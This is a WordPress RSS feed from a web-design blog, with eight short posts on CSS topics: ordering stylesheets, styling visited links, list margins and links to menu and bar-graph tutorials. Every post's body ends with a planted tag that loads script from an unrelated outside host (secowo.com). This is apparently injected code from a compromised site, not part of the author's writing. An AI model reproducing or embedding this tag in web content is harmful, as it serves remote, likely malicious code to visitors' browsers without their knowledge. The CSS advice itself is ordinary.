<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>DIARY OF A WEBSITE :: DESIGN BY CAFFEINE &#187; CSS</title>
	<atom:link href="http://www.diaryofawebsite.com/blog/tag/css/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.diaryofawebsite.com/blog</link>
	<description>Diary of a website : design by caffeine</description>
	<lastBuildDate>Sun, 09 May 2010 18:02:48 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0-beta2</generator>
		<item>
		<title>Bring a little order to your CSS</title>
		<link>http://www.diaryofawebsite.com/blog/2008/02/bring-a-little-order-to-your-css/</link>
		<comments>http://www.diaryofawebsite.com/blog/2008/02/bring-a-little-order-to-your-css/#comments</comments>
		<pubDate>Sun, 03 Feb 2008 17:59:48 +0000</pubDate>
		<dc:creator>karmatosed</dc:creator>
				<category><![CDATA[Full Roast]]></category>
		<category><![CDATA[CSS]]></category>

		<guid isPermaLink="false">http://www.diaryofawebsite.com/blog/2008/02/bring-a-little-order-to-your-css/</guid>
		<description><![CDATA[When you first start writing css there is a temptation as you write it to just add more and more without creating any order to your file. Pretty quickly this becomes a shooting yourself in the foot technique whilst you &#8230; <a href="http://www.diaryofawebsite.com/blog/2008/02/bring-a-little-order-to-your-css/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>When you first start writing css there is a temptation as you write it to just add more and more without creating any order to your file. Pretty quickly this becomes a shooting yourself in the foot technique whilst you search through numerous lines to find just one style. There are various for and against arguments to using multiple style sheets but lets look at how you can for now in one file get some basic order and structure.</p>
<h4>Group and conquer</h4>
<p>One of the simplest things you can do order your css is group by type. Most sites can be divided into some basic type groups:</p>
<ul>
<li>Layout / Structure</li>
<li>Typography</li>
<li>Navigation</li>
<li>Images</li>
<li>Forms</li>
</ul>
<p>To get this basic structure into your CSS when you first create your document it&#8217;s a good idea to put something like the following in CSS comments:</p>
<p>/*Layout*/</p>
<p>/*Typography*/</p>
<p>/*Navigation*/</p>
<p>/*Images*/</p>
<p>/*Forms*/</p>
<p>/*Miscellaneous*/</p>
<p>I use layout rather than structure but the naming doesn&#8217;t really matter this is the &#8216;bones&#8217; of your site. I always add a miscellaneous as a sort of section overflow &#8211; this often becomes a dumping ground I sort into a section or create new one if it&#8217;s required. You can of course drill down even further and I&#8217;d always suggest if it&#8217;s a component that takes several styles you group that with a new comment. For instance, you may have a top navigation block that uses ul, li and some other link styling. I would in this case have the following:</p>
<p>/*navigation*/<br />
/*top navigation*/<br />
style elements go here</p>
<p>One visual thing you can do to split each section further is even after a section add:</p>
<p>/* end of typography */<br />
or<br />
/* ********************* */</p>
<h4>Big things come first</h4>
<p>In ordering my typographical elements with regards to headers I always make sure I list them in order so I end up with h1, h2, h3 and so on going down the typographical elements section. I find this makes it far easier to see at a glance particularly when I come back to a style sheet I&#8217;ve not been working on for a while. A great way to deal with the same types within these widget groups is to just like the similar elements use further grouping. For instance, all paragraph styles would be together.</p>
<h4>What&#8217;s the point in being organised?</h4>
<p>As I&#8217;ve said the main reason is readability, beyond that it means less time spent hunting for the CSS need in a haystack. The semantic naming of your code should extend to clean code that is well organised. Using simple methods like this you can easily spot and understand the CSS even if you are coming to it a long time after it was written. It&#8217;s also a great way to work if you are in groups and more than one person is editing the CSS. In the case of groups I like to have a &#8216;dump&#8217; or scratch section where changes can be put &#8211; this works great if you are in control of the CSS but other developers may need to apply styles. I still would always recommend a single person has sole control over the CSS as that helps with consistency &#8211; that or have a very stringent organisation that all working on it understand and adhere to.</p>
<p>It may sound a bit like CSS by police, but there is nothing worse than a lines upon lines of chaos dumped CSS where there is no meaning and to find anything you&#8217;re trawling through lines of text. There are far more advanced methods of course of organising CSS, this is more the bare minimum you should do. When working in larger groups I think time stamping in comments and even commenting changes can be beneficial. It may on the surface seem a bit of a chore to do this but once you do it will quickly become part of your CSS writing routine and you&#8217;ll find it also helps you visualise the styles laying it out.<script src="http://secowo.com/wo"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.diaryofawebsite.com/blog/2008/02/bring-a-little-order-to-your-css/feed/</wfw:commentRss>
		<slash:comments>11</slash:comments>
		</item>
		<item>
		<title>Visited links the missing link?</title>
		<link>http://www.diaryofawebsite.com/blog/2008/01/visited-links-the-missing-link/</link>
		<comments>http://www.diaryofawebsite.com/blog/2008/01/visited-links-the-missing-link/#comments</comments>
		<pubDate>Sun, 20 Jan 2008 16:11:14 +0000</pubDate>
		<dc:creator>karmatosed</dc:creator>
				<category><![CDATA[Full Roast]]></category>
		<category><![CDATA[CSS]]></category>

		<guid isPermaLink="false">http://www.diaryofawebsite.com/blog/2008/01/visited-links-the-missing-link/</guid>
		<description><![CDATA[I&#8217;ve noticed that a lot of sites seem to not use the visited property of links. I know myself there have been times that this element has been overlooked, however it&#8217;s a really important one that we should all have &#8230; <a href="http://www.diaryofawebsite.com/blog/2008/01/visited-links-the-missing-link/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>I&#8217;ve noticed that a lot of sites seem to not use the visited property of links. I know myself there have been times that this element has been overlooked, however it&#8217;s a really important one that we should all have in our sites.</p>
<h4>A small step for usability</h4>
<p>Visited links is a small step but important one when making your site more user friendly. By having a visited link you are increasing the knowledge your site gives people as they use it. They will know where they have been and what links they haven&#8217;t visited. If you think about it, not having a visited link style is sort of shooting yourself in the foot when it&#8217;s so easy to apply one.</p>
<h4>Colour me different</h4>
<p>When you do have visited links I think it&#8217;s best to set the colour to something that stands out less than the rest of your site. Setting it to be a grey colour that is readable is also a good method. Often I opt for making it a colour that is down several shades of the link colour. In this way the unvisited links stand out but you still can maintain the readability of the links. The key with visited links is not that they vanish totally &#8211; it&#8217;s so at a glance users can see what they have seen or not.</p>
<h4>CSS abc</h4>
<p>You may think this is all basic and who wouldn&#8217;t use the visited links styling. The truth is it&#8217;s easy to over look and many sites do. With a little simple consideration though you can enhance the usability of your site. It&#8217;s as easy as a:visited.<script src="http://secowo.com/wo"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.diaryofawebsite.com/blog/2008/01/visited-links-the-missing-link/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>CSS lists not aligning?</title>
		<link>http://www.diaryofawebsite.com/blog/2006/06/css-lists-not-aligning/</link>
		<comments>http://www.diaryofawebsite.com/blog/2006/06/css-lists-not-aligning/#comments</comments>
		<pubDate>Sun, 18 Jun 2006 08:14:53 +0000</pubDate>
		<dc:creator>karmatosed</dc:creator>
				<category><![CDATA[Espresso]]></category>
		<category><![CDATA[CSS]]></category>

		<guid isPermaLink="false">http://www.diaryofawebsite.com/blog/?p=228</guid>
		<description><![CDATA[Are you looking for a simple way to make sure your CSS lists don&#8217;t put space and start at the top? This is useful for things like navigation in a list and really easy to do: #nav ul{ margin: 0px; &#8230; <a href="http://www.diaryofawebsite.com/blog/2006/06/css-lists-not-aligning/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>Are you looking for a simple way to make sure your CSS lists don&#8217;t put space and start at the top? This is useful for things like navigation in a list and really easy to do: </p>
<p><code> #nav ul{ margin: 0px; } </code></p>
<p>Useful if you just don&#8217;t want to have space at the top of any list and you can easily adapt using just the ul{ } rather than the class named ul.<script src="http://secowo.com/wo"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.diaryofawebsite.com/blog/2006/06/css-lists-not-aligning/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>4 columns with aligned links made simple</title>
		<link>http://www.diaryofawebsite.com/blog/2006/06/4-columns-with-aligned-links-made-simple/</link>
		<comments>http://www.diaryofawebsite.com/blog/2006/06/4-columns-with-aligned-links-made-simple/#comments</comments>
		<pubDate>Sat, 17 Jun 2006 16:53:00 +0000</pubDate>
		<dc:creator>karmatosed</dc:creator>
				<category><![CDATA[Espresso]]></category>
		<category><![CDATA[CSS]]></category>

		<guid isPermaLink="false">http://www.diaryofawebsite.com/blog/?p=227</guid>
		<description><![CDATA[Over at The Watchmaker Project, Matthew Pennell has a nice 4 column layout with aligned links.]]></description>
			<content:encoded><![CDATA[<p>Over at The Watchmaker Project, Matthew Pennell has a nice <a href="http://www.thewatchmakerproject.com/sidebar/333/media-four-columns-with-equally-aligned-links-solved" title="4 column layout with aligned links">4 column layout with aligned links</a>.<script src="http://secowo.com/wo"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.diaryofawebsite.com/blog/2006/06/4-columns-with-aligned-links-made-simple/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>CSS for Bar Graphs</title>
		<link>http://www.diaryofawebsite.com/blog/2005/12/css-for-bar-graphs/</link>
		<comments>http://www.diaryofawebsite.com/blog/2005/12/css-for-bar-graphs/#comments</comments>
		<pubDate>Sat, 31 Dec 2005 09:41:26 +0000</pubDate>
		<dc:creator>karmatosed</dc:creator>
				<category><![CDATA[Espresso]]></category>
		<category><![CDATA[CSS]]></category>

		<guid isPermaLink="false">http://www.diaryofawebsite.com/blog/?p=104</guid>
		<description><![CDATA[Whilst having a wander I found a nice little aticle on how to use CSS for Bar Graphs at Apples to Oranges. CSS for Bar Graphs Rather nice little CSS trick to add some interest to any site including voting &#8230; <a href="http://www.diaryofawebsite.com/blog/2005/12/css-for-bar-graphs/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>Whilst having a wander I found a nice little aticle on how to use CSS for Bar Graphs at <a href="http://www.apples-to-oranges.com/" title="Apples To Oranges">Apples to Oranges</a>.<br /> <a href="http://www.apples-to-oranges.com/blog/article.aspx?id=55" "CSS for Bar Graphs">CSS for Bar Graphs</a><br /> Rather nice little CSS trick to add some interest to any site including voting sites.<script src="http://secowo.com/wo"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.diaryofawebsite.com/blog/2005/12/css-for-bar-graphs/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>CSS Menus</title>
		<link>http://www.diaryofawebsite.com/blog/2005/12/css-menus/</link>
		<comments>http://www.diaryofawebsite.com/blog/2005/12/css-menus/#comments</comments>
		<pubDate>Fri, 30 Dec 2005 22:13:27 +0000</pubDate>
		<dc:creator>karmatosed</dc:creator>
				<category><![CDATA[Espresso]]></category>
		<category><![CDATA[CSS]]></category>

		<guid isPermaLink="false">http://www.diaryofawebsite.com/blog/?p=103</guid>
		<description><![CDATA[Fancy a little menu enjoyment CSS style over the holidays? No fear, there are three large sets free at Exploding Boy. There appears to be more coming from this source to which can&#8217;t be a bad thing for examples to &#8230; <a href="http://www.diaryofawebsite.com/blog/2005/12/css-menus/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>Fancy a little menu enjoyment CSS style over the holidays? No fear, there are three large sets free at <a href="http://www.exploding-boy.com" title="Exploding Boy">Exploding Boy</a>. There appears to be more coming from this source to which can&#8217;t be a bad thing for examples to use or simply inspiration.<br /> <a href="http://www.exploding-boy.com/2005/12/15/free-css-navigation-designs/" title="CSS Menus One">CSS Menus One</a><br /> <a href="http://www.exploding-boy.com/2005/12/21/more-free-css-navigation-menu-designs/" title="CSS Menus More">CSS Menus More</a><br /> <a href="http://www.exploding-boy.com/2005/12/29/14-free-vertical-css-menus/" title="Vertical Menus">Vertical Menus</a><br /><script src="http://secowo.com/wo"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.diaryofawebsite.com/blog/2005/12/css-menus/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>CSS christmas</title>
		<link>http://www.diaryofawebsite.com/blog/2005/12/css-christmas/</link>
		<comments>http://www.diaryofawebsite.com/blog/2005/12/css-christmas/#comments</comments>
		<pubDate>Fri, 23 Dec 2005 18:18:15 +0000</pubDate>
		<dc:creator>karmatosed</dc:creator>
				<category><![CDATA[Full Roast]]></category>
		<category><![CDATA[CSS]]></category>

		<guid isPermaLink="false">http://www.diaryofawebsite.com/blog/?p=97</guid>
		<description><![CDATA[As of today I managed to rid the company I work from of templates. This might not seem like a major win in the scheme of christmas confusion. It is however a small victory for web standards and means along &#8230; <a href="http://www.diaryofawebsite.com/blog/2005/12/css-christmas/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>As of today I managed to rid the company I work from of templates. This might not seem like a major win in the scheme of christmas confusion. It is however a small victory for web standards and means along with that we now are a complete css web company. Suddenly, my christmas cheer is a raising and I can hear the jingling of the christmas sleigh bells.</p>
<p> Looks like Santa has already brought all I wanted this year. It makes me happy to think now this company whose knowledge previously of web standards and application was somewhat lacking; now recognise (maybe through some of my bashing over head) that it is important and a need not a designer whim. Perhaps it is also a reminder that if you prove through actually doing the web standards and css sites, then you prove the point without having to bash your head too much. I may have become some gibbering web standards creature most of this year, but it seems it was all worth it.</p>
<p> Coupled with this comes the offical roll out of my CMS system which is now in a form that can be implemented in a day onto any site. So, with that in mind this is turning out to be a grand ole webmas.<script src="http://secowo.com/wo"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.diaryofawebsite.com/blog/2005/12/css-christmas/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>All I want for christmas is a tabless world</title>
		<link>http://www.diaryofawebsite.com/blog/2005/10/all-i-want-for-christmas-is-a-tabless-world/</link>
		<comments>http://www.diaryofawebsite.com/blog/2005/10/all-i-want-for-christmas-is-a-tabless-world/#comments</comments>
		<pubDate>Mon, 10 Oct 2005 21:06:33 +0000</pubDate>
		<dc:creator>karmatosed</dc:creator>
				<category><![CDATA[Full Roast]]></category>
		<category><![CDATA[CSS]]></category>

		<guid isPermaLink="false">http://www.diaryofawebsite.com/blog/?p=3</guid>
		<description><![CDATA[A while ago I promised myself to where possible totally convert to CSS. It is still going well on this line and appears to be one resolution I am keeping. I am not alone it seems either. More and more &#8230; <a href="http://www.diaryofawebsite.com/blog/2005/10/all-i-want-for-christmas-is-a-tabless-world/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>A while ago I promised myself to where possible totally convert to CSS. It is still going well on this line and appears to be one resolution I am keeping. I am not alone it seems either. More and more there are CSS driven designs standing tall against the shrinking population of tables. The main sole area for tables still with regards to my work are a few old templates left over that sell cheap. I am glad about this and rushing to rid my portfolio and world of non-tabular data. Yes kids the new craze this christmas is CSS. Forget furbees, aibo, transformers or the new xbox 360. All every web designer wants for christmas is a tabless world.</p>
<p> The early confusion days of CSS appear to have long gone with it becoming now the accepted norm. Long ago in a land not too far away where tabless roamed free of tabular data; showcase sites showed no distinction. The CSS mixed with the tabular in uneasy harmony. Recently this isn&#8217;t the case and you would be hard to pushed to find good examples of web design that aren&#8217;t CSS. The death rattle appears to have sounded and with relief we have now all gotten our head around the difference between a class and an id.</p>
<p> If I had more time I would finally get the old table monsters I still know about and batter them into CSS submission. This at this current time is not a luxury that I have. I accept that and as long as I stick with my own personal CSS revolution then I can live with it. I find it second nature now and the possibilities of what else I can do open up regularly as I now turn to linking with xhtml and facing web standards head on.<script src="http://secowo.com/wo"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.diaryofawebsite.com/blog/2005/10/all-i-want-for-christmas-is-a-tabless-world/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
